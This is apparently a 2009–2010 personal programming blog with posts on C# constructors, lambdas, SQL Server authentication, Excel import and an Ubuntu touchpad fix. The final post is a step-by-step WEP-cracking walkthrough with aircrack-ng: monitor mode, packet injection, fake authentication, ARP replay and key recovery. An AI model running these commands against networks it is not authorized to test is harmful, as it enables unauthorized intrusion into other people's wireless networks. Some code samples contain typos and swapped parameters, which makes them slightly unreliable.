Thursday, February 25, 2010

Constructors in C#

Constructors are class methods that are executed when an object of a given type is created. Constructors have the same name as the class, and usually initialize the data members of the new object.

In the following example, a class called Taxi is defined with a simple constructor. This class is then instantiated with the new operator. The Taxi constructor is invoked by the new operator immediately after memory is allocated for the new object.



 
     public class Taxi
     {
         public bool isInitialized;
         public Taxi()
         {
             isInitialized = true;
         }
     }

     class TestTaxi
     {
         static void Main()
         {
             Taxi t = new Taxi();
             System.Console.WriteLine(t.isInitialized);
         }
     }
 
A constructor that takes no parameters is called a default constructor.
Default constructors are invoked whenever an object is instantiated using 
the new operator and no arguments are provided to new 
 
Passing Arguments to Constructors 
 
Constructors may also be used to pass in initial values for an object's attributes
at the time that an object is being instantiated. Instead of creating an object whose
attributes are all initialized to zero-equivalent values, and then utilizing the accessors
provided by that class to initialize attribute values one-by-one, as illustrated
by the next snippet:
 
     //Create a bare boones Student onject
     Student s = new Student();
 
     //Initialize the atributes one-by-one
     s.name = "Ivan Osorio";
     s.ssn = "06210056";
     s.major = "English";
 
the initial values for selected attibutes can all passed in as a single step when
the constructor is called, if desired:

     Student s = new Student("Ivan Osorio", "06210056", "English");

In order to accommodate this, we'd have to define a Student constructor with an
appropriate header, as shown here:

     public class Student
     {
          //Atributes
          private string name;
          private string ssn;
          private straing major;
 
          /* We've programmed a constructor with three parameters to accommodate
             passing in argument values. */

          public Student (string s, string n, string m)
          {
               name = n;
               ssn = s;
               major = m; 
          }
     }

Wednesday, February 24, 2010

Saturday, January 16, 2010

Configure SQL Server Authentication

In order to use SQL Server authentication you must first configure your server by login with windows authentication.

Right-click on the server node and select 'Properties'.


On the new window select 'Security' from the left menu, select the 'SQL Server and Windows Authentication mode option, click 'OK' to close the dialog.

In the server node expand 'Security' and 'Logins', right click on the login name and select 'Properties'.Under the new window enter a password and confirm the password. Select 'Status' from the left menu, set the 'Login' option to 'Enabled' and click 'OK' to close the dialog.
Now right click on the server node and choose 'Restart' for the changes to take affect and connect with SQL Server Authentication, user 'sa' and you new password.

If you can't connect, you may need restart the service.

Go to Start => All Programs => Micrsoft SQL Server 2005 => Configuration Tools => SQL Server Configuration Manager.

From the left menu, select 'SQL Server 2005 Services', in the right menu right click on 'SQL Server(SQLEXPRESS) and restart it.

Monday, January 11, 2010

Use lambda

Lambda expressions use the lambda operator =>, which is read as "goes to".
(input parameters) => expression
The => operator has the same precedence as assignment (=) and is right-associative.

Example
 int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };
int oddNumbers = numbers.Count(n => n % 2 == 1);

Lamda Expressions are a simpler syntax for anonymous delegates and can be used everywhere an anonymous delegate can be used. However, the opposite is not true;
lambda expressions can be converted to expression trees which allows
for a lot of the magic that LINQ to SQL.

The following is an example using anonymous delegates then lambda expressions.

==Delegate==

delegate(int x)
{
return (x % 2) == 0;
}
==Lambda==
(x => (x % 2) == 0)


Wednesday, December 16, 2009

Upload Excel File to DatagridView

***Add the namspace ==> using System.Data.OleDb;***

private void button1_Click(object sender, EventArgs e)
{
OleDbConnection Connection;
// The file path's goes with double slash
Connection = new OleDbConnection
(
"provider=Microsoft.Jet.OLEDB.4.0;data source=C:\\test.xls;Extended Properties=\"Excel 8.0;HDR=NO;IMEX=1;\""
);
Connection.Open();
// Select which page is going to upload
OleDbDataAdapter Adapter = new OleDbDataAdapter("SELECT * FROM [Sheet1$]", Connection);
DataTable table = new DataTable();
// Fill
Adapter.Fill(table);
this.dataGridView1.DataSource = table.DefaultView;
}

Monday, November 23, 2009

Touchpad Doesn't Work in Ubuntu 9.10

I recently upgraded Ubuntu 9.04 to Ubuntu 9.10. After the upgraded my touchpad didn't work, but if a plug in a usb mouse it works raight. So in the web i find this solution.

Open a terminal (if you don’t have a mouse hooked up, use Alt+F2). then “su” and give the root password (I tried doing this with sudo and still didn’t have enough permission. I “think” you need to be root). At the prompt, type:

#echo options psmouse proto=exps > /etc/modprobe.d/psmouse.modprobe

At the next prompt, type”

#reboot

Your touchpad will come back up after rebooting.

Wednesday, November 11, 2009

Crack a WEP with Intel PRO/Wireless 3945ABG

first download driver for Intel PRO/Wireless 3945ABG, i downloaded ipwraw.

Installing ipwraw:
1.- wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2 (download driver)

2.- tar -xjf ipwraw-ng* (extract the archive file)

3.- cd ipwraw-ng (go to the extracted folder)
4.- make (compile)
5.- sudo make install (install the driver)
6.- sudo make install_ucode
7.- echo blacklist ipwraw | sudo tee /etc/modprobe.d/ipwraw (blacklist the default ipwraw)
8.- sudo depmod -ae (create a dependency file for the modules)
9.- sudo modprobe ipwraw (load the driver that you installed)
10.-sudo ifconfig wlan0 up (enable the network adapter)
11.-airmon-ng start wlan0 (put your interface into monitor mode)


If the network interface is set correctly, it should say Monitor mode.
Use the injection test to confirm your card can inject prior to proceeding:
# sudo aireplay-ng -9 mon0

Start airodump-ng to discover all the available networks

# sudo airodump-ng mon0

Start airodump-ng to collect the new unique IVs

# sudo airodump-ng -c 11 --bssid xx:xx:xx:xx:xx:xx -w test -i mon0

Use aireplay-ng to do fake authentication with the access point

# sudo aireplay-ng -1 0 -e datel -a xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0

Start aireplay-ng in ARP request replay mode to inject packets

# sudo aireplay-ng -3 -b xx:xx:xx:xx:xx:xx -h yy:yy:yy:yy:yy:yy mon0

Run aircrack-ng to crack the WEP key using the IVs collected


# sudo aircrack-ng -z -b xx:xx:xx:xx:xx:xx test*.ivs
# sudo aircrack-ng -a 1 -0 -n 128 test*.ivs


xx:xx:xx:xx:xx:xx (
MAC address of client)
yy:yy:yy:yy:yy:yy (our Mac address)